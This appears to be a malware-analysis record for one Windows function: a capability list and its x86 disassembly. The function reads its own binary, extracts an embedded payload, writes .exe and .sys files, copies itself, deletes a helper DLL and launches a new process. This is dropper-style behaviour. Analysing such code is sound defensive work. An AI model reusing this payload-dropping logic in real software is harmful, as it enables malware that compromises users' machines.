Function at 0x402ba7
Capabilities:
Copy file
Create process on windows
Create process suspended
Delete file
Get file size
Read file on windows
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x880
push ebx
push esi
push edi
mov esi, 0x200
push esi
call fcn.00403610
pop ecx
mov edi, eax
push esi
push edi
xor ebx, ebx
push ebx
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call main
push edi
call fcn.004026c8
test eax, eax
pop ecx
pop ecx
je 0x402edd
push edi
call fcn.00402737
test eax, eax
pop ecx
je 0x402edd
push edi
call fcn.00402b88
test eax, eax
pop ecx
je 0x402c0d
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402ed6
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, eax
lea eax, [esi + 1]
push eax
call fcn.00403610
pop ecx
push ebx
lea ecx, [ebp - 0x20]
push ecx
push esi
push eax
push edi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call edi
shr esi, 2
xor eax, eax
dec esi
cmp esi, ebx
mov dword [ebp - 0x10], ebx
jbe 0x402c92
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx + eax*4]
cmp ecx, dword [0x405020]
jne 0x402c88
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx + eax*4 + 4]
cmp ecx, dword [str._8GV]
jne 0x402c88
lea ecx, [eax + 2]
mov dword [ebp - 0x10], ecx
inc eax
cmp eax, esi
jb 0x402c65
cmp dword [ebp - 0x10], ebx
jne 0x402ca0
push dword [ebp - 0x14]
call fcn.00403624
pop ecx
jmp 0x402ed6
mov esi, 0x400
push esi
call fcn.00403610
push esi
mov dword [ebp - 0x24], eax
call fcn.00403610
push esi
mov dword [ebp - 0xc], eax
call fcn.00403610
push esi
push eax
mov dword [ebp - 0x1c], eax
call fcn.00403dfa
add esp, 0x14
push str.iexchg.dll
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x402d5e
mov esi, dword [sym.imp.KERNEL32.DLL_ReadFile]
push ebx
lea ecx, [ebp - 0x20]
push ecx
push 4
lea ecx, [ebp - 0x28]
push ecx
push eax
call esi
push ebx
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x28]
lea eax, [ebp - 0x880]
push eax
push dword [ebp - 4]
call esi
mov eax, dword [ebp - 0x20]
push dword [ebp - 4]
mov byte [ebp + eax - 0x880], bl
call edi
push dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
call esi
mov dword [ebp - 4], ebx
jmp 0x402d51
mov eax, dword [ebp - 4]
inc dword [ebp - 4]
cmp eax, 0xa
jge 0x402d5e
push 0xbb8
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x880]
push eax
call esi
test eax, eax
je 0x402d3b
push ebx
push ebx
push 4
push ebx
push ebx
push 0x40000000
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push dword [ebp - 0x1c]
mov dword [ebp - 4], eax
call fcn.00403624
mov dword [esp], str..exe
push dword [ebp - 0x24]
call fcn.004025da
push str..sys
push dword [ebp - 0xc]
call fcn.004025da
add esp, 0x10
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov esi, dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x2c]
push eax
push 4
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 4]
call esi
push ebx
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x18]
push dword [ebp - 8]
push dword [ebp - 4]
call esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push ebx
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x2c]
push eax
push 4
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 4]
call esi
push ebx
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x18]
push dword [ebp - 0xc]
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call edi
push ebx
push dword [ebp - 0x24]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push dword [ebp - 8]
call fcn.00403624
mov eax, dword [ebp - 0x10]
pop ecx
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + eax*4]
push ebx
push ebx
push 4
push ebx
push ebx
lea eax, [ecx + eax*4 + 4]
mov ecx, dword [eax]
push 0x40000000
push dword [ebp - 0xc]
add eax, 4
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push dword [ebp - 0x28]
mov dword [ebp - 0xc], eax
push dword [ebp - 0x10]
push dword [ebp - 8]
call fcn.00401b46
add esp, 0xc
push ebx
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x10]
push dword [ebp - 8]
push dword [ebp - 0xc]
call esi
push dword [ebp - 0xc]
call edi
push dword [ebp - 0x14]
call fcn.00403624
pop ecx
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x70]
push eax
push 0x404298
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x24]
mov dword [ebp - 0x70], 0x44
push dword [ebp - 0x24]
mov word [ebp - 0x3e], bx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x64], ebx
mov word [ebp - 0x40], 5
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x402ee9
xor eax, eax
jmp 0x402c08
call fcn.00402827
push edi
call fcn.00402765
pop ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]